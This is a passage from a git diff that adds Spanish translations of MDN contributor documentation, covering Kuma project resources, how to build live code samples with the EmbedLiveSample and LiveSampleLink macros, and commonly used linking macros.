+ <dd>Una guía de cómo usar las plantillas KumaScript en el contenido del artículo.</dd>
+ <dt><a href="/en-US/docs/Project:MDN/Kuma/KumaScript_reference" title="/en-US/docs/Project:MDN/Kuma/KumaScript_reference">Referencia KumaScript</a></dt>
+ <dd>Una referencia a KumaScript.</dd>
+ <dt><a href="/en-US/docs/Project:MDN/Kuma/Contributing" style="line-height: 1.5; font-weight: bold;" title="/en-US/docs/Project:MDN/Kuma/Contributing">Contribuyendo a Kuma</a></dt>
+ <dd>Una guía para forkear Kuma y contribuir al proyecto.</dd>
+</dl>
+
+<p>Artículos antiguos para clasificar:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Project:Getting_started_with_Kuma" title="/en-US/docs/Project:Getting_started_with_Kuma">Iniciando con Kuma</a>: información sobre la plataforma; diferencias entre Kuma y la plataforma Mindtouch Deki.</li>
+ <li><a href="/en-US/docs/Project:MDC_editor_guide" title="/en-US/docs/Project:MDC_editor_guide">La interfaz de edición de MDN</a>: atajos de teclado; Descripción de los componentes de la interfaz y las funciones.</li>
+</ul>
+
+<p><span class="alllinks"><a href="/en-US/docs/tag/Kuma" title="MDN project pages">Ver todos...</a></span></p>
+</div>
+
+<div class="section">
+<h2 id="Herramientas_y_tareas">Herramientas y tareas</h2>
+
+<dl>
+ <dt><a href="https://bugzilla.mozilla.org/buglist.cgi?cmdtype=dorem&amp;remaction=run&amp;namedcmd=mdn-backlog&amp;sharer_id=416309&amp;list_id=6206936" title="https://bugzilla.mozilla.org/buglist.cgi?cmdtype=dorem&amp;remaction=run&amp;namedcmd=mdn-backlog&amp;sharer_id=416309&amp;list_id=6206936">Bugs</a></dt>
+ <dd>Una lista de los bugs de Kuma. Sientase libre para buscar lo que quiera y lo que quieras arreglas! <em>Este link requiere que entres en Bugzilla con su respectiva cuenta.</em></dd>
+ <dt><a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Mozilla%20Developer%20Network" title="https://bugzilla.mozilla.org/enter_bug.cgi?product=Mozilla%20Developer%20Network">Reportar un bug</a></dt>
+ <dd>Si usted tiene un problema con Kuma, o tiene una idea para hacerlo mejor, <span style="color: #545454; font-family: arial,sans-serif; font-size: small; line-height: 18.200000762939453px;">¡</span><span style="line-height: 1.5;">tú puedes reportar un bug!</span></dd>
+ <dt><a href="/en-US/docs/Project:MDN/Kuma/Changelog" title="/en-US/docs/Project:MDN/Kuma/Changelog">Cambios</a></dt>
+ <dd>Una lista de los cambios recientes; este es un buen lugar para ver qué ha pasado recientemente.</dd>
+ <dt><a href="http://mzl.la/mdn_whats_deployed">¿Qué ha sido implementado?</a></dt>
+ <dd>Un tablero de estado de qué ha sido implementado al servidor de producción.</dd>
+ <dt><a href="https://mdn.kanbanery.com/projects/32137/board/?key=0383ba5f05e165e0eb19d8476654fe9775ce2ca7" title="https://mdn.kanbanery.com/projects/32137/board/?key=0383ba5f05e165e0eb19d8476654fe9775ce2ca7">Kanban board</a></dt>
+ <dd>The Kanban board used for managing ongoing work on the Kuma project.</dd>
+ <dt><a href="/en-US/docs/Project:MDN/ServerCharts">Server Monitoring</a></dt>
+ <dd>Some of our New Relic charts</dd>
+</dl>
+</div>
+</div>
diff --git a/files/es/mdn/structures/ejemplos_ejecutables/index.html b/files/es/mdn/structures/ejemplos_ejecutables/index.html
new file mode 100644
index 0000000000..f5743b558e
--- /dev/null
+++ b/files/es/mdn/structures/ejemplos_ejecutables/index.html
@@ -0,0 +1,243 @@
+---
+title: Ejemplos ejecutables
+slug: MDN/Structures/Ejemplos_ejecutables
+translation_of: MDN/Structures/Live_samples
+---
+<div>{{MDNSidebar}}</div><p><span class="seoSummary">MDN puede convertir ejemplos de código de los artículos a ejemplos ejecutables que el lector puede ver en acción. Estos ejemplos ejecutables pueden contener HTML, CSS, y JavaScript en cualquier combinación. Ten en cuenta que</span> los ejemplos "ejecutables" <em>no son interactivos</em>; sin embargo, aseguran que el output coincida exactamente con el código de ejemplo, porque es generado por este.</p>
+
+<h2 id="Como_funciona_el_sistema_de_ejemplos_ejecutables">Como funciona el sistema de ejemplos ejecutables</h2>
+
+<p>El sistema de ejemplos ejecutables agrupa el código, lo une en un archivo HTML, procesa el HTML y entonces despliega el output en un {{HTMLElement("iframe")}}. Por lo tanto un ejemplo ejecutable consiste de dos partes:</p>
+
+<ul>
+ <li>Un grupo de bloques de código</li>
+ <li>La macro que (crea el frame o el link que) despliega el resultado de los bloques de código</li>
+</ul>
+
+<p>Un "grupo" de bloques de código, en este contexto, es identificado por el ID de un header o de un bloque de contenido (tal como un {{HTMLElement("div")}}).</p>
+
+<ul>
+ <li>Si el ID pertenece a un bloque de contenido, el grupo incluye todos los bloques de código que se encuentren entre las etiquetas de apertura y cierre del bloque de contenido de cuyo ID se usa.</li>
+ <li>Si el ID pertenece a un header, el grupo incluye todos los bloques de código que estén bajo el header y antes del siguiente header en el mismo nivel. Ten en cuenta que se usan todos los códigos de bloque bajo sub-headers del header especificado; si este no es el efecto que deseas, mejor usa un ID de un bloque de contenido.</li>
+</ul>
+
+<p>La macro usa un URL especial para extraer el código de ejemplo: <code>http://<em>url-de-la-pagina</em>$ejemplos/<em>grupo-id</em></code>, donde grupo-id es el ID del header o del bloque de contenido donde se localiza el código. El frame resultante (o página) es sandboxed (entorno de pruebas), seguro, y  técnicamente puede hacer cualquier cosa que funcione en la Web. Por supuesto, desde el punto de vista práctico, el código debe contribuir al tema de la página que lo contiene; cosas al azar ejecutándose en MDN serán removidas por la comunidad de editores.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> <strong>Debes</strong> usar el macro para presentar el output del ejemplo ejecutable. El editor de MDN quitará cualquier uso directo del elemento <code>&lt;iframe&gt;</code> por motivos de seguridad.</p>
+</div>
+
+<p>Cada bloque {{HTMLElement("pre")}} que contiene código para el ejemplo tiene una clase que indica si es código HTML, CSS, o JavaScript; estas son "brush: html", "brush: css", y "brush: js". Las clases deben estar en los bloques de código correspondientes para que el wiki pueda usarlos correctamente; afortunadamente, son agregadas automáticamente cuando usas  la herramienta Syntax Highlighter de la barra de herramientas del editor.</p>
+
+<p>El sistema de ejemplos ejecutables tiene muchas opciones disponibles, trataremos de ponerlas en terminos simples analizándolas de a poco.</p>
+
+<h3 id="Macro_de_ejemplos_ejecutables">Macro de ejemplos ejecutables</h3>
+
+<p>Hay dos macros que puedes usar para desplegar ejemplos ejecutables:</p>
+
+<ul>
+ <li><span class="templateLink"><code><a href="/en-US/docs/Template:EmbedLiveSample">EmbedLiveSample</a></code></span> despliega el ejemplo ejecutable en un frame embebido dentro de la misma página</li>
+ <li><span class="templateLink"><code><a href="/en-US/docs/Template:LiveSampleLink">LiveSampleLink</a></code></span> crea un link que abre el ejemplo ejecutable en una página nueva</li>
+</ul>
+
+<p>En muchos casos, tienes la posibilidad de agregar la macro <span class="templateLink"><code><a href="/en-US/docs/Template:EmbedLiveSample">EmbedLiveSample</a></code></span> o la <span class="templateLink"><code><a href="/en-US/docs/Template:LiveSampleLink">LiveSampleLink</a></code></span> con ¡poco o nada de trabajo adicional! Mientras el ejemplo pueda ser identificado por un ID de un header o esté en un bloque de contenido con un ID que puedas usar, simplemente agregar la macro será suficiente.</p>
+
+<h4 id="Macro_EmbedLiveSample">Macro EmbedLiveSample</h4>
+
+<pre class="syntaxbox notranslate"> \{{EmbedLiveSample(<em>ID_del_bloque</em>, <em>longitud</em>, altura, <em>URL_de_captura_de_pantalla</em>, <em>pagina_slug</em>)}}</pre>
+
+<dl>
+ <dt>ID_del_bloque</dt>
+ <dd>Requerido: El ID del header o del bloque de contenido de donde se tomará el código. La mejor forma de asegurarte que tienes el ID correcto es revisar el URL de la sección en la tabla de contenidos de la página.</dd>
+ <dt>longitud</dt>
+ <dd>La longitud del {{HTMLElement("iframe")}} que se creará, especificada en <code>px</code>. Esto es opcional; una longitud razonable se usará si omites esto. Ten en cuenta que si quieres usar una longitud específica, <em>debes</em> especificar el parámetro de altura también.</dd>
+ <dt>altura</dt>
+ <dd>La altura del {{HTMLElement("iframe")}} que se creará, especificada en <code>px</code>. Esto es opcional; una altura razonable se usará si omites esto. Ten en cuenta que si quieres usar una altura específica, <em>debes</em> especificar el parámetro de longitud también.</dd>
+ <dt>URL_de_captura_de_pantalla</dt>
+ <dd>La URL de una captura de pantalla que muestre como se debe ver el ejemplo ejecutable. Esto es opcional, pero puede ser útil para nuevas tecnologías que pueden no funcionar en el navegador del usuario, para que puedan ver como se vería el ejemplo si fuera soportado por su navegador. Si incluyes este parámetro, la captura de pantalla se muestra junto al ejemplo ejectutable, con encabezados apropiados.</dd>
+ <dt>pagina_slug</dt>
+ <dd>El slug (nombre con "_" reemplazando los espacios) de la página que contiene el ejemplo; esto es opcional, y si se omite, el ejemplo es extraido de la misma página donde se usa la macro.</dd>
+</dl>
+
+<ol>
+</ol>
+
+<h4 id="Macro_LiveSampleLink">Macro LiveSampleLink</h4>
+
+<pre class="syntaxbox notranslate"> \{{LiveSampleLink(<em>ID_del_bloque</em>, <em>texto_del_enlace</em>)}}</pre>
+
+<dl>
+ <dt>ID_del_bloque</dt>
+ <dd>Requerido: El ID del encabezado o del bloque de contenido de donde se tomará el código. La mejor forma de asegurarte que tienes el ID correcto es revisar el URL de la sección en la tabla de contenidos de la página.</dd>
+ <dt>texto_de_enlace</dt>
+ <dd>Una cadena de texto para mostrar en el enlace.</dd>
+</dl>
+
+<h2 id="Usando_el_sistema_de_ejemplos_ejecutables">Usando el sistema de ejemplos ejecutables</h2>
+
+<p>La sección de abajo describe algunos de los casos de uso más comunes para el sistema de ejemplos ejecutables.</p>
+
+<p>En todos estos casos, para ver los resultados del ejemplo ejecutable, debes hacer clic en <strong>Guardar Cambios</strong> en el editor (lo que te saca del modo edición). Debido a la reflexiba, naturaleza tipo <a href="http://www.imdb.com/title/tt1375666/?ref_=nv_sr_1"><em>Inception</em></a> de los ejemplos ejecutables, la funcionalidad de <strong>Previsualizar Cambios</strong> <em>no</em> permite desplegar los ejemplos ejecutables.</p>
+
+<h3 id="Convirtiendo_snippets_trozos_de_código_en_ejemplos_ejecutables">Convirtiendo snippets (trozos de código) en ejemplos ejecutables</h3>
+
+<p>Un uso común es tomar snippets existentes que ya se muestran en MDN y convertirlos ejemplos ejecutables.</p>
+
+<h4 id="Preparar_el_código">Preparar el código</h4>
+
+<p>El primer paso es agregar snippets o asegurarse que los existentes están listos para ser usados como ejemplos ejecutables, en términos de contenido y marcadores. Los snippets, juntos, deben comprender un ejemplo completo y ejecutable. Por ejemplo, si el snippet existente solo muestra CSS, debes agregar el snippet de HTML para que el CSS funcione.</p>
+
+<p>Cada pieza de código debe estar en un bloque {{HTMLElement("pre")}}, con un bloque separado para cada lenguaje, propiamente marcado con el lenguaje correspondiente. La mayoría de las veces, esto ya se hizo, pero vale la pena volver revisar para asegurarse que cada pieza de código está estructurado con la sintaxis correcta. A la derecha del ícono <strong>PRE</strong> en la barra de tareas hay un menú desplegable (herramienta: Syntax Highlighter) con varios lenguajes para los que MDN hace distinción de sintaxis. Establecer el lenguaje para la distinción de sintaxis del bloque también lo correlaciona con un lenguaje para los propósitos del sistema de ejemplos ejecutables.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Puedes tener más de un bloque para cada lenguaje; todos son concatenados juntos. Esto te permite tener una parte de código, seguida de una explicación de como funciona, luego otra parte de código, etc. Esto hace aun más fácil producir tutoriales y utilizar ejemplo ejecutables intercalados con texto que los explique.</p>
+</div>
+
+<p>Así que asegurate que la distinción de sintaxis de los bloques {{HTMLElement("pre")}} para tu código HTML, CSS, y/o JavaScript estén cada uno configurado para el lenguaje correcto, y estarás bien.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Al pegar contenido en MDN, se conciente que si pegas contenido formateado (incluyendo, por ejemplo, distinción de sintaxis en código copeado de otro sitio) puedes estar trayendo formatos o clases que no quieres y no necesitas. Ten cuidado de no hacer esto; si es necesario, revisa tu edición en modo fuente y elimina estos formatos y clases innecesarios (o revísalo antes de pegarlo, o usa la opción "Pegar como texto plano").</p>
+</div>
+
+<h4 id="Insertar_la_macro_de_ejemplo_ejecutable">Insertar la macro de ejemplo ejecutable</h4>
+
+<p>Una vez que el código está en su lugar y propiamente configurado para identificar cada bloque de lenguaje, necesitas insertar la macro que crea el frame.</p>
+
+<ol>
+ <li>Haz clic en el botón <strong>Insert Live Code Sample iFrame</strong> en la barra de herramientas; luce así: <img alt="" src="https://mdn.mozillademos.org/files/5383/insert-live-sample-btn.png" style="height: 18px; width: 19px;">. Esto abre un cuadro de diálogo para configurar el frame de tu ejemplo ejecutable:                         <img alt="" src="https://mdn.mozillademos.org/files/5385/sample-finder.png" style="height: 358px; width: 405px;"></li>
+ <li>Bajo <strong>Document</strong>, ingresa el título del artículo que contiene el ejemplo que deseas desplegar. Por default, es el artículo que estás editando, pero puedes escoger un artículo en otra parte de MDN. Esto hace posible reusar ejemplos en múltiples páginas si es necesario. (Si escribes un texto nuevo en este campo, aparecerá un menú de coincidencias parciales; selecciona el título de la página que desees.)</li>
+ <li>En el menú <strong>Sections in Document</strong>, selecciona la sección en el artículo que contiene los bloques de código del ejemplo que quieres desplegar.</li>
+ <li>Haz clic en el botón <strong>OK</strong> para generar e insertar la macro que crea el frame del ejemplo. La macro luce algo así:<br>
+  <strong>\{{ EmbedLiveSample('Live_sample_demo') }}</strong></li>
+</ol>
+
+<h3 id="Agregando_un_nuevo_ejemplo_ejecutable">Agregando un nuevo ejemplo ejecutable</h3>
+
+<p>Si estás escribiendo una página nueva, y quieres insertar código que deseas mostrar como ejemplo ejecutable, ¡aun más del trabajo puede ser realizado por el editor para ti!</p>
+
+<ol>
+ <li>Haz clic el botón <strong>Insert Code Sample Template</strong> en la barra de herramientas, luce así: <img alt="" src="/files/4265/live-sample-button.png" style="height: 19px; width: 21px;">. Esto presenta un simple cuadro de diálogo pidiéndote que nombres a tu ejemplo ejecutable:<br>
+  <img alt="" src="https://mdn.mozillademos.org/files/5387/insert-live-sample-template.png" style="height: 155px; width: 251px;"></li>
+ <li>Ingresa el nombre del ejemplo; esto es usado como el header para el ejemplo. Asegúrate que tu título sea coherente con la pagína que escribes.</li>
+ <li>Haz clic en <strong>OK</strong>. Se creó un header nuevo con el título que elegiste, con sub-headers y bloques de código vacios para HTML, CSS y JavaScript.</li>
+ <li>Elimina cualquier sub-header y bloque de código que no necesites.</li>
+ <li>Ingresa el código que compone tu ejemplo en los bloques de código apropiados.</li>
+ <li><a href="#conventions">Revisar convenciones</a></li>
+</ol>
+
+<h3 id="Usando_el_Buscador_de_Ejemplos">Usando el Buscador de Ejemplos</h3>
+
+<p>Como se mencionó arriba, el buscador de Ejemplos se activa haciendo clic en el ícono<strong> Insert Live Code Sample iFrame</strong>. Desafortunadamente el Buscador de Ejemplos puede producir un macro que NO es usable sin editarse antes. Hay dos áreas problemáticas que deben revisarse con cuidado y editarse si es necesario.</p>
+
+<ol>
+ <li>Campo <strong>Document</strong>. Este campo buscará mientras escribes y presentará una lista de documentos que encajan con tu búsqueda. Pero la lista presentada NO incluirá sub-páginas. Por ejemplo, digamos que estás trabajando en la sub-página <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@counter-style/negative">Negative </a>de la página principal <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@counter-style">@counter-style</a>. El Buscador de Ejemplos no encontrará Negative pero si la página principal @counter-style. Cuando se selecciona @counter-style el fondo cambia a color verde. Lee debajo el problema que esto crea.</li>
+ <li><strong>Sections in Document</strong>. El menú desplegable Sections in Document puede no mostrar la sección que necesitas. Selecciona cualquiera, digamos Examples, y puede arreglarse con una simple edición.</li>
+</ol>
+
+<p>Esto es lo que el Buscador de Ejemplos produce:</p>
+
+<pre class="notranslate"><code>\{{ EmbedLiveSample('Examples', '', '', '', 'Web/CSS/@counter-style') }}</code></pre>
+
+<p>Esta macro no funcionará. El ID_de_bloque es Examples y debería ser Example en este caso (revisa la fuente del ID de esta sección para verificar cual ID_de_bloque necesitas usar). Igualmente pagina_slug es @counter-style y debería ser @counter-style/negative. Estas correcciones puede hacerse directamente en la página activando la edición.</p>
+
+<p>Después de editar la macro ahora luce así:</p>
+
+<pre class="notranslate"><code>\{{ EmbedLiveSample('Example', '', '', '', 'Web/CSS/@counter-style/negative') }}</code></pre>
+
+<p>Esta macro editada funcionará correctamente. Si la macro funciona correctamente verás el botón <strong>Open in CodePen</strong>. Una miniatura del ejemplo deberá aparecer encima del botón Open in CodePen. Si el botón está ahí pero no hay miniatura, espera unos minutos. Puede tormar un tiempo para que el servidor la genere.</p>
+
+<h2 id="Live_sample_demo" name="Live_sample_demo">Encontrando ejemplos que necesitan actualización</h2>
+
+<p>Al buscar ejemplos existentes que actualizar, hay tres tipos principales de actualización que deseas hacer:</p>
+
+<ul>
+ <li>Convertir un snippet no ejecutable en un ejemplo ejecutable.</li>
+ <li>Corregir bugs en un ejemplo ejecutable existente.</li>
+ <li>Mejorar un ejemplo ejecutable existente, o actualizar un ejemplo basándose en cambios tecnológicos.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong><strong>:</strong> Si encuentras artículos que necesitan ser actualizados para usar el sistema de ejemplos ejecutables, por favor agrega a la página la etiqueta "NeedsLiveSample".</p>
+</div>
+
+<h3 id="Encontrando_ejemplos_que_necesitan_convertirse_a_ejemplos_ejecutables">Encontrando ejemplos que necesitan convertirse a ejemplos ejecutables</h3>
+
+<p>MDN tiene montontes de ejemplos viejos que aun no usan el sistema de ejemplos ejecutables. Nuestra meta es actualizar la mayoría o todos para que sean ejemplos ejecutables.Esto aumentará la consistencia y la usabilidad. Es casi seguro que te encontrarás muchos de estos mientras usas MDN en el día a día; sin embargo, ¿cómo puedes encontrarlos si los buscas específicamente para actualizarlos? Desafortunadamente, no hay un modo fácil de hacer eso. Pero hay algunos consejos que te ayudarán a rastrearlos:</p>
+
+<ul>
+ <li>Empieza por darle un vistazo a esto <a href="/en-US/docs/tag/NeedsLiveSample" title="/en-US/docs/tag/NeedsLiveSamples">lista de páginas etiquetadas con "NeedsLiveSample"</a>. Estas son las páginas que los usuarios han marcadado como que necesitan actualizarse. Deberías agregar esta etiqueta tu mismo, si ves una página que necesita ser actualizada para usar ejemplos ejecutables pero no tienes tiempo de arreglarla enseguida.</li>
+ <li>Navega por ligas de documentación que es probable que incluyan ejemplos, como <a href="/en-US/docs/Web/JavaScript/Guide" title="/en-US/docs/Web/JavaScript/Guide">JavaScript Guide</a>, <a href="/en-US/docs/Web/HTML" title="/en-US/docs/Web/HTML">HTML documentation</a>, y <a href="/en-US/docs/Web/CSS/Reference" title="/en-US/docs/Web/CSS/Reference">CSS reference</a>.</li>
+ <li>Busca término como "<a href="/en-US/search?q=example" title="/en-US/search?q=example">example</a>" o "<a href="/en-US/search?q=sample" title="/en-US/search?q=sample">sample</a>" y revisar los resultados para páginas que actualizar.</li>
+</ul>
+
+<h2 id="Live_sample_demo" name="Live_sample_demo">Demo de ejemplo ejecutable</h2>
+
+<p>Esta sección es el resultado de usar la plantilla de ejemplo ejecutable no solo para crear el encabezado principal ("Live sample demo"), sino los sub-encabezador para nuestro contenido HTML, CSS y JavaScript. No estás limitado a un bloque para cada uno; además, no necesitan estar en algún orden partícular. ¡Mix and match!</p>
+
+<p>Puedes eliminar cualquiera de estos que desees; si no necesitas scripts, elimina el encabezado y su bloque {{HTMLElement("pre")}}. También puedes eliminar el encabezado de un bloque de código ("HTML", "CSS", o "JavaScript"), ya que estos no son usados por la macro de ejemplo ejecutable.</p>
+
+<p>Ahora que se ha insertado la plantilla, podemos agregar algo de código, e incluso algún texto explicativo.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>Este HTML crea un parágrafo y algunos bloques para ayudarnos a posicionar y formatear un mensaje.</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Un simple ejemplo de sistema de ejemplo ejecutable en accion.&lt;/p&gt;
+&lt;div class="box"&gt;
+  &lt;div id="item"&gt;¡Hola mundo!&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<p>El código CSS formatea el contenedor así como el mensaje.</p>
+
+<pre class="brush: css notranslate">.box {
+  width: 200px;
+  height: 100 px;
+  border-radius: 6px;
+  background-color: #ffaabb;
+}
+
+#item {
+  width: 100%;
+  font-weight: bold;
+  text-align: center;
+  font-size: 2em;
+}
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>Este código es muy simple. Todo lo que hace es agregar un manejador de evento al texto "¡Hola mundo!" que hace aparecer una alerta cuando se le hace clic.</p>
+
+<pre class="brush: js notranslate">var el = document.getElementById('item');
+el.onclick = function() {
+  alert('¡Owww, deja de picarme!');
+}
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>Aquí el resultado de ejecutar los bloques de código de arriba vía<code> \{{EmbedLiveSample('Live_sample_demo')}}</code>:</p>
+
+<p>{{EmbedLiveSample('Live_sample_demo')}}</p>
+
+<p>Aquí un enlace que resulta de llamar los bloques de código vía <code>\{{LiveSampleLink('Live_sample_demo', 'Live sample demo link')}}</code>:</p>
+
+<p>{{LiveSampleLink('Live_sample_demo', 'Live sample demo link')}}</p>
+
+<h2 id="Convenciones_acerca_de_los_ejemplos_ejecutables"><a id="conventions" name="conventions">Convenciones acerca de los ejemplos ejecutables</a></h2>
+
+<div class="note">
+<p><strong>Nota:</strong> Esto es actual (Feb. 2016) en discusión en la lista de emails dev-mdc (ver <a href="https://groups.google.com/forum/#!topic/mozilla.dev.mdc/49oqJAHFnWQ">this thread</a>). Cualquier entrada es bienvenida. Si esta nota persiste después de unos meses (Apr. 2016), por favor contactar al autor del primer email en este hilo para actualizar esta página.</p>
+</div>
+
+<dl>
+ <dt>Orden de los bloques de código</dt>
+ <dd>Al agregar un ejemplo ejecutable, los bloques de código deben ser organizados para que el primero corresponda al lenguaje principal (si hay uno). Por ejemplo, al agregar un ejemplo ejecutable para una referencia HTML, el primer bloque debe ser HTML, al agregar un ejemplo ejecutable para una referencia CSS, debe ser el de CSS y así.</dd>
+ <dt>Nombrando los encabezados</dt>
+ <dd>Cuando no hay ambigüedad (p.ej. el ejemplo está bajo una sección "Ejemplos"), los encabezados deben ser directos con el único nombre del lenguaje correspondiente: HTML, CSS, JavaScript, SVG, etc. (ver arriba). No deben usarse encabezados como "contenido HTML" o "contenido JavaScript". Sin embargo si un encabezado tan corto hace que el contenido no sea claro, uno puede usar un título más elaborado.</dd>
+ <dt>Usando un bloque "Result"</dt>
+ <dd>Después de los diferentes bloques de código, favor de usar un último bloque "Result" antes de usar macro <code>EmbedLiveSample</code> (ver arriba). De este modo, se hace más clara la semántica del ejemplo tanto para el lector como para cualquier herramienta que analice la página (p.ej. screen reader, web crawler).</dd>
+</dl>
diff --git a/files/es/mdn/structures/index.html b/files/es/mdn/structures/index.html
new file mode 100644
index 0000000000..b8df701dac
--- /dev/null
+++ b/files/es/mdn/structures/index.html
@@ -0,0 +1,16 @@
+---
+title: Document structures
+slug: MDN/Structures
+tags:
+  - Landing
+  - MDN Meta
+  - NeedsTranslation
+  - Structures
+  - TopicStub
+translation_of: MDN/Structures
+---
+<div>{{MDNSidebar}}</div><div>{{IncludeSubnav("/en-US/docs/MDN")}}</div>
+
+<p>Throughout MDN, there are various document structures that are used repeatedly, to provide consistent presentation of information in MDN articles. Here are articles describing these structures, so that, as an MDN author, you can recognize, apply, and modify them as appropriate for documents you write, edit, or translate.</p>
+
+<p>{{LandingPageListSubPages()}}</p>
diff --git a/files/es/mdn/structures/macros/commonly-used_macros/index.html b/files/es/mdn/structures/macros/commonly-used_macros/index.html
new file mode 100644
index 0000000000..18ebaff2af
--- /dev/null
+++ b/files/es/mdn/structures/macros/commonly-used_macros/index.html
@@ -0,0 +1,210 @@
+---
+title: Macros usadas comunmente
+slug: MDN/Structures/Macros/Commonly-used_macros
+tags:
+  - CSS
+  - Estructuras
+  - Macros
+  - Referencia
+translation_of: MDN/Structures/Macros/Commonly-used_macros
+---
+<p>{{MDNSidebar}}</p>
+
+<p><span class="seoSummary">Esta página enumera muchas de las macros de propósito general creadas para usarlas en MDN. Para obtener información sobre cómo usar estas macros, consulta {{web.link("/es/docs/MDN/Contribute/Structures/Macros", "Uso de macros")}} y {{web.link("/es/docs/MDN/Contribute/Editor/Links#Usar_macros_de_enlaces", "Usar macros de enlaces")}}.</span> Consulta {{web.link("/es/docs/MDN/Contribute/Structures/Macros/Other", "Otras macros")}} para obtener información sobre las macros que se utilizan con poca frecuencia, que se utilizan solo en contextos especiales o, están en desuso. También hay una {{web.link("/es/dashboards/macros", "lista completa de todas las macros en MDN")}}. </p>
+
+<p>Consulta también la {{web.link("/es/docs/MDN/Contribute/Guidelines/CSS_style_guide", "guía de estilo CSS")}} para conocer los estilos disponibles para usarlos.</p>
+
+<h2 id="Enlaces">Enlaces</h2>
+
+<h3 id="Creando_un_solo_hipervínculo">Creando un solo hipervínculo</h3>
+
+<p id="To_another_MDN_page_or_its_section_ (anch_SectionOnPage_manch_Link_LinkItem_LinkItemDL)">En general, no es necesario utilizar macros para crear enlaces arbitrarios. Utiliza el botón <strong>Enlace</strong> en la interfaz del editor para crear enlaces. </p>
+
+<ul>
+ <li>La macro {{TemplateLink("Glossary")}} crea un vínculo a la entrada de un término específico en el {{web.link("/es/docs/Glossary", "glosario")}} de MDN. Esta macro acepta un parámetro obligatorio y dos opcionales:
+
+  <p>Ejemplos:</p>
+
+  <ol>
+   <li>El nombre del término (tal como "HTML").</li>
+   <li>El texto que se mostrará en el artículo en lugar del nombre del término (esto se debe usar con poca frecuencia).{{Optional_Inline}}</li>
+   <li>Si se especifica este parámetro y no es cero, no se aplica el estilo personalizado que normalmente se aplica a los enlaces del glosario.{{Optional_Inline}}</li>
+  </ol>
+
+  <ul>
+   <li><code>\{{Glossary("HTML")}}</code> produce {{Glossary("HTML")}}</li>
+   <li><code>\{{Glossary("CSS", "Hojas de estilo en cascada")}}</code> produce {{Glossary("CSS", "Hojas de estilo en cascada")}}</li>
+   <li><code>\{{Glossary("HTML", "", 1)}}</code> produce {{Glossary("HTML", "", 1)}}</li>
+  </ul>
+ </li>
+ <li>{{TemplateLink("anch")}} — crea un enlace a una sección en la página:
+  <ul>
+   <li><code>\{{anch("Enlace a páginas en referencias")}}</code>;</li>
+   <li>
+    <p>Demo: {{anch("Enlace a páginas en referencias")}}</p>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Enlace_a_páginas_en_referencias">Enlace a páginas en referencias</h3>
+
+<p>Hay varias macros para vincular páginas en áreas de referencia específicas de MDN.</p>
+
+<ul>
+ <li>{{TemplateLink("cssxref")}} links to a page in the <a href="/en-US/docs/Web/CSS/Reference">CSS Reference</a>.<br>
+  Ejemplo: <code>\{{CSSxRef("cursor")}}</code>, da como resultado: {{CSSxRef("cursor")}}.</li>
+ <li>{{TemplateLink("DOMxRef")}} enlaces a páginas en la referencia DOM; si incluyes paréntesis al final, la plantilla sabe que debe mostrar el enlace para que aparezca el nombre de una función. Por ejemplo, <code>\{{DOMxRef("document.getElementsByName()")}}</code> da como resultado: {{DOMxRef("document.getElementsByName()")}} mientras que <code>\{{DOMxRef("Node")}}</code> da como resultado: {{DOMxRef("Node")}}.</li>
+ <li>{{TemplateLink("event")}} enlaces a páginas en la referencia de Evento del DOM, por ejemplo: <code>\{{Event("change")}}</code> da como resultado {{Event("change")}}.</li>
+ <li>{{TemplateLink("HTMLElement")}} enlaza a un elemento HTML en la Referencia HTML.</li>
+ <li>{{TemplateLink("htmlattrxref")}} enlaza a un atributo HTML, ya sea una descripción de atributo global si solo especificas el nombre del atributo o un atributo asociado con un elemento específico si especificas un nombre de atributo y un nombre de elemento. Por ejemplo, <code>\{{HTMLAttrxRef("lang")}}</code> creará este enlace: {{HTMLAttrxRef("lang")}}. <code>\{{HTMLAttrxRef("type", "input")}}</code> creará este enlace: {{HTMLAttrxRef("type", "input")}}.</li>
+ <li>{{TemplateLink("jsxref")}} enlaza a una página en la {{JSxRef("../Referencia", "Referencia de JavaScript")}}.</li>
+ <li>{{TemplateLink("SVGAttr")}} enlaza a un atributo SVG específico. Por ejemplo, <code>\{{SVGAttr("d")}}</code> crea este enlace: {{SVGAttr("d")}}.</li>
+ <li>{{TemplateLink("SVGElement")}} enlaza a un elemento SVG en la Referencia SVG.</li>
+ <li>{{TemplateLink("httpheader")}} enlaza a un {{web.link("/es/docs/Web/HTTP/Headers", "header de HTTP")}}.</li>
+ <li>{{TemplateLink("HTTPMethod")}} enlaza a un {{web.link("/es/docs/Web/HTTP/Methods", "método de solicitud HTTP")}}.</li>
+ <li>{{TemplateLink("HTTPStatus")}} enlaces a un {{web.link("/es/docs/Web/HTTP/Status", "código de estado de respuesta HTTP")}}.</li>
+</ul>
+
+<h3 id="Enlazar_a_errores">Enlazar a errores</h3>
+
+<ul>
+ <li><code>Bugs</code>
+  <ul>
+   <li>{{TemplateLink("bug")}} te permite enlazar a un error en bugzilla.mozilla.org fácilmente usando esta sintaxis: <code>\{{Bug(123456)}}</code>. Esto te da: {{Bug(123456)}}.</li>
+   <li>{{TemplateLink("WebkitBug")}} inserta un enlace a un error en la base de datos de errores de <code>WebKit</code>. For example, <code>\{{WebkitBug(31277)}}</code> inserta {{WebkitBug(31277)}}.</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Ayuda_a_la_navegación_para_guías_multipágina">Ayuda a la navegación para guías multipágina</h3>
+
